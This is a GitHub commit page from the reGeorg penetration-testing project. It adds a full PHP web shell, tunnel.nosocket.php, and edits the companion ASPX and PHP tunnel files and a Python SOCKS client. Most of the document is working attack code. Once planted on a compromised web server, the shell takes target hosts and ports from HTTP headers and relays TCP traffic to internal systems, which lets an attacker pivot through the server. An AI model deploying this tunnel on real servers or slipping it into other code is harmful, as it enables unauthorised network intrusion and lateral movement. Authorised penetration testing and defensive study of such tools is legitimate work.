Skip to content

Commit 9ddd7e6

Browse files
joda32joda32
committedFeb 9, 2016
Added new php module that does not rely on socket module, rather the tcp/stream filter.
1 parent d5c1297 commit 9ddd7e6

File tree

4 files changed

+219
-16
lines changed

4 files changed

+219
-16
lines changed
 

‎reGeorgSocksProxy.py

+1
Original file line numberDiff line numberDiff line change
@@ -349,6 +349,7 @@ def run(self):
349349
self.pSocket.close()
350350
except Exception, e:
351351
log.error(e.message)
352+
self.closeRemoteSession()
352353
self.pSocket.close()
353354

354355
def askGeorg(connectString):

‎tunnel.aspx

+2-1
Original file line numberDiff line numberDiff line change
@@ -98,7 +98,8 @@ https://github.com/sensepost/reGeorg
9898
while ((c = s.Receive(readBuff)) > 0)
9999
{
100100
byte[] newBuff = new byte[c];
101-
Array.ConstrainedCopy(readBuff, 0, newBuff, 0, c);
101+
#Array.ConstrainedCopy(readBuff, 0, newBuff, 0, c);
102+
System.Buffer.BlockCopy(readBuff, 0, newBuff, 0, c);
102103
Response.BinaryWrite(newBuff);
103104
}
104105
Response.AddHeader("X-STATUS", "OK");

‎tunnel.nosocket.php

+200
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,200 @@
1+
<?php
2+
/* _____
3+
____ ______ __|___ |__ ______ _____ _____ ______
4+
| | | ___|| ___| || ___|/ \| | | ___|
5+
| \ | ___|| | | || ___|| || \ | | |
6+
|__|\__\|______||______| __||______|\_____/|__|\__\|______|
7+
|_____|
8+
... every office needs a tool like Georg
9+
10+
willem@sensepost.com / @_w_m__
11+
sam@sensepost.com / @trowalts
12+
etienne@sensepost.com / @kamp_staaldraad
13+
14+
Legal Disclaimer
15+
Usage of reGeorg for attacking networks without consent
16+
can be considered as illegal activity. The authors of
17+
reGeorg assume no liability or responsibility for any
18+
misuse or damage caused by this program.
19+
20+
If you find reGeorge on one of your servers you should
21+
consider the server compromised and likely further compromise
22+
to exist within your internal network.
23+
24+
For more information, see:
25+
https://github.com/sensepost/reGeorg
26+
*/
27+
28+
ini_set("allow_url_fopen", true);
29+
ini_set("allow_url_include", true);
30+
error_reporting(E_ERROR | E_PARSE);
31+
32+
if( !function_exists('apache_request_headers') ) {
33+
function apache_request_headers() {
34+
$arh = array();
35+
$rx_http = '/\AHTTP_/';
36+
37+
foreach($_SERVER as $key => $val) {
38+
if( preg_match($rx_http, $key) ) {
39+
$arh_key = preg_replace($rx_http, '', $key);
40+
$rx_matches = array();
41+
$rx_matches = explode('_', $arh_key);
42+
if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) {
43+
foreach($rx_matches as $ak_key => $ak_val) {
44+
$rx_matches[$ak_key] = ucfirst($ak_val);
45+
}
46+
47+
$arh_key = implode('-', $rx_matches);
48+
}
49+
$arh[$arh_key] = $val;
50+
}
51+
}
52+
return( $arh );
53+
}
54+
}
55+
if ($_SERVER['REQUEST_METHOD'] === 'GET')
56+
{
57+
exit("Georg says, 'All seems fine'");
58+
}
59+
60+
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
61+
set_time_limit(0);
62+
$headers=apache_request_headers();
63+
$cmd = $headers["X-CMD"];
64+
switch($cmd){
65+
case "CONNECT":
66+
{
67+
$target = $headers["X-TARGET"];
68+
$port = (int)$headers["X-PORT"];
69+
#$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
70+
#if ($sock === false)
71+
#{
72+
# header('X-STATUS: FAIL');
73+
# header('X-ERROR: Failed creating socket');
74+
# return;
75+
#}
76+
$res = fsockopen($target, $port);
77+
#$res = @socket_connect($sock, $target, $port);
78+
if ($res === false)
79+
{
80+
header('X-STATUS: FAIL');
81+
header('X-ERROR: Failed connecting to target');
82+
return;
83+
}
84+
#socket_set_nonblock($res);
85+
86+
stream_set_blocking($res, false);
87+
@session_start();
88+
$_SESSION["run"] = true;
89+
$_SESSION["writebuf"] = "";
90+
$_SESSION["readbuf"] = "";
91+
ob_end_clean();
92+
header('X-STATUS: OK');
93+
header("Connection: close");
94+
ignore_user_abort();
95+
ob_start();
96+
$size = ob_get_length();
97+
header("Content-Length: $size");
98+
ob_end_flush();
99+
flush();
100+
session_write_close();
101+
102+
while ($_SESSION["run"])
103+
{
104+
$readBuff = "";
105+
@session_start();
106+
$writeBuff = $_SESSION["writebuf"];
107+
$_SESSION["writebuf"] = "";
108+
session_write_close();
109+
if ($writeBuff != "")
110+
{
111+
stream_set_blocking($res, false);
112+
$i = fwrite($res, $writeBuff); #socket_write($sock, $writeBuff, strlen($writeBuff));
113+
if($i === false)
114+
{
115+
@session_start();
116+
$_SESSION["run"] = false;
117+
session_write_close();
118+
header('X-STATUS: FAIL');
119+
header('X-ERROR: Failed writing socket');
120+
}
121+
}
122+
# stream_set_timeout($res, 1);
123+
stream_set_blocking($res, false);
124+
while ($o = fgets($res, 10)) {
125+
if($o === false)
126+
{
127+
@session_start();
128+
$_SESSION["run"] = false;
129+
session_write_close();
130+
header('X-STATUS: FAIL');
131+
header('X-ERROR: Failed reading from socket');
132+
}
133+
$readBuff .= $o;
134+
}
135+
if ($readBuff!=""){
136+
@session_start();
137+
$_SESSION["readbuf"] .= $readBuff;
138+
session_write_close();
139+
}
140+
#sleep(0.2);
141+
}
142+
fclose($res);
143+
}
144+
break;
145+
case "DISCONNECT":
146+
{
147+
error_log("DISCONNECT recieved");
148+
@session_start();
149+
$_SESSION["run"] = false;
150+
session_write_close();
151+
return;
152+
}
153+
break;
154+
case "READ":
155+
{
156+
@session_start();
157+
$readBuffer = $_SESSION["readbuf"];
158+
$_SESSION["readbuf"]="";
159+
$running = $_SESSION["run"];
160+
session_write_close();
161+
if ($running) {
162+
header('X-STATUS: OK');
163+
header("Connection: Keep-Alive");
164+
echo $readBuffer;
165+
return;
166+
} else {
167+
header('X-STATUS: FAIL');
168+
header('X-ERROR: RemoteSocket read filed');
169+
return;
170+
}
171+
}
172+
break;
173+
case "FORWARD":
174+
{
175+
@session_start();
176+
$running = $_SESSION["run"];
177+
session_write_close();
178+
if(!$running){
179+
header('X-STATUS: FAIL');
180+
header('X-ERROR: No more running, close now');
181+
return;
182+
}
183+
header('Content-Type: application/octet-stream');
184+
$rawPostData = file_get_contents("php://input");
185+
if ($rawPostData) {
186+
@session_start();
187+
$_SESSION["writebuf"] .= $rawPostData;
188+
session_write_close();
189+
header('X-STATUS: OK');
190+
header("Connection: Keep-Alive");
191+
return;
192+
} else {
193+
header('X-STATUS: FAIL');
194+
header('X-ERROR: POST request read filed');
195+
}
196+
}
197+
break;
198+
}
199+
}
200+
?>

‎tunnel.php

+16-15
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,12 @@
11
<?php
2-
/* _____
3-
____ ______ __|___ |__ ______ _____ _____ ______
4-
| | | ___|| ___| || ___|/ \| | | ___|
5-
| \ | ___|| | | || ___|| || \ | | |
6-
|__|\__\|______||______| __||______|\_____/|__|\__\|______|
2+
/* _____
3+
____ ______ __|___ |__ ______ _____ _____ ______
4+
| | | ___|| ___| || ___|/ \| | | ___|
5+
| \ | ___|| | | || ___|| || \ | | |
6+
|__|\__\|______||______| __||______|\_____/|__|\__\|______|
77
|_____|
88
... every office needs a tool like Georg
9-
9+
1010
willem@sensepost.com / @_w_m__
1111
sam@sensepost.com / @trowalts
1212
etienne@sensepost.com / @kamp_staaldraad
@@ -27,6 +27,7 @@
2727

2828
ini_set("allow_url_fopen", true);
2929
ini_set("allow_url_include", true);
30+
dl("php_sockets.dll");
3031

3132
if( !function_exists('apache_request_headers') ) {
3233
function apache_request_headers() {
@@ -66,20 +67,20 @@ function apache_request_headers() {
6667
$target = $headers["X-TARGET"];
6768
$port = (int)$headers["X-PORT"];
6869
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
69-
if ($sock === false)
70-
{
70+
if ($sock === false)
71+
{
7172
header('X-STATUS: FAIL');
7273
header('X-ERROR: Failed creating socket');
7374
return;
7475
}
7576
$res = @socket_connect($sock, $target, $port);
76-
if ($res === false)
77-
{
77+
if ($res === false)
78+
{
7879
header('X-STATUS: FAIL');
7980
header('X-ERROR: Failed connecting to target');
8081
return;
8182
}
82-
socket_set_nonblock($sock);
83+
socket_set_nonblock($sock);
8384
@session_start();
8485
$_SESSION["run"] = true;
8586
$_SESSION["writebuf"] = "";
@@ -92,9 +93,9 @@ function apache_request_headers() {
9293
$size = ob_get_length();
9394
header("Content-Length: $size");
9495
ob_end_flush();
95-
flush();
96+
flush();
9697
session_write_close();
97-
98+
9899
while ($_SESSION["run"])
99100
{
100101
$readBuff = "";
@@ -106,7 +107,7 @@ function apache_request_headers() {
106107
{
107108
$i = socket_write($sock, $writeBuff, strlen($writeBuff));
108109
if($i === false)
109-
{
110+
{
110111
@session_start();
111112
$_SESSION["run"] = false;
112113
session_write_close();
@@ -116,7 +117,7 @@ function apache_request_headers() {
116117
}
117118
while ($o = socket_read($sock, 512)) {
118119
if($o === false)
119-
{
120+
{
120121
@session_start();
121122
$_SESSION["run"] = false;
122123
session_write_close();

0 commit comments

Comments
 (0)
Please sign in to comment.